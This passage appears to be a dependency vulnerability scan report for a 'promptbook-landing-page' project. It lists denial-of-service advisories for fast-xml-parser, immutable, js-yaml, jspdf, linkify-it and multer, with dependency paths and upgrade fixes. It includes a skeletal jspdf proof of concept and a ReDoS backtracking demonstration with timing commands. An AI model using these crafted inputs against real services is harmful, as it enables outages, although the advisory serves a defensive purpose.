  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/signature-v4-multi-region@3.936.0 @aws-sdk/middleware-sdk-s3@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-env@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-http@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-process@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-login@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-web-identity@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/client-sso@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @aws-sdk/client-s3@3.936.0 @aws-sdk/credential-provider-node@3.936.0 @aws-sdk/credential-provider-ini@3.936.0 @aws-sdk/credential-provider-sso@3.936.0 @aws-sdk/token-providers@3.936.0 @aws-sdk/nested-clients@3.936.0 @aws-sdk/util-user-agent-node@3.936.0 @aws-sdk/middleware-user-agent@3.936.0 @aws-sdk/core@3.936.0 @aws-sdk/xml-builder@3.930.0 fast-xml-parser@5.2.5

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.

Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 5.5.6 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: immutable
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 immutable@3.8.3

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the HashCollisionNode class in Immutable.Map and Immutable.Set. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.

Remediation

Upgrade immutable to version 4.3.9, 5.1.8 or higher.

References

high severity
new

Integer Overflow or Wraparound

  • Vulnerable module: immutable
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 immutable@3.8.3

Overview

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the setListBounds function in src/List.js when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.

Remediation

Upgrade immutable to version 4.3.9, 5.1.8 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: js-yaml
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 js-yaml@4.1.1

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in merge key (<<) handling during YAML parsing, where each mapping in a chain re-enumerates the keys inherited from the previous mapping. An attacker can exhaust CPU and cause denial of service by supplying a document with N chained merge mappings, which forces roughly O(N^2) work for O(N) input. Exploitation requires the application to parse untrusted YAML with the default or YAML11 schema, under which merge keys are resolved.

Remediation

Upgrade js-yaml to version 3.15.0, 4.3.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: jspdf
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 jspdf@4.1.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 jspdf@4.1.0

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the addImage and html methods. An attacker can cause excessive memory allocation and application unavailability by supplying malicious GIF files with large width or height values as image data or URLs.

Workaround

This vulnerability can be mitigated by sanitizing image data or URLs before passing them to the affected methods.

PoC

import { jsPDF } from "jspdf" 

// malicious GIF image data with large width/height headers
const payload = ...

const doc = new jsPDF();

doc.addImage(payload, "GIF", 0, 0, 100, 100);

Remediation

Upgrade jspdf to version 4.2.0 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: linkify-it
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 linkify-it@5.0.0

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the mailto: validator scan-loop on attacker-supplied text. An attacker can cause excessive CPU consumption by submitting specially crafted input that triggers repeated scanning of the remaining text.

Remediation

Upgrade linkify-it to version 5.0.2 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: linkify-it
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 linkify-it@5.0.0

Overview

linkify-it is a Links recognition library with FULL unicode support

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to quadratic algorithmic complexity in the match function. An attacker can exhaust CPU resources and cause significant delays in processing by submitting specially crafted input containing a large number of email-like or link-like strings.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade linkify-it to version 5.0.1 or higher.

References

high severity

Incomplete Cleanup

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Incomplete Cleanup in the makeMiddleware() function in make-middleware.js. An attacker can cause resource exhaustion by sending malformed requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/remote-server@0.114.0-2 express-openapi-validator@5.4.9 multer@1.4.5-lts.2

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime in the makeMiddleware() function, when dropping a connection during file upload. An attacker can cause resource exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade multer to version 2.1.0 or higher.

References

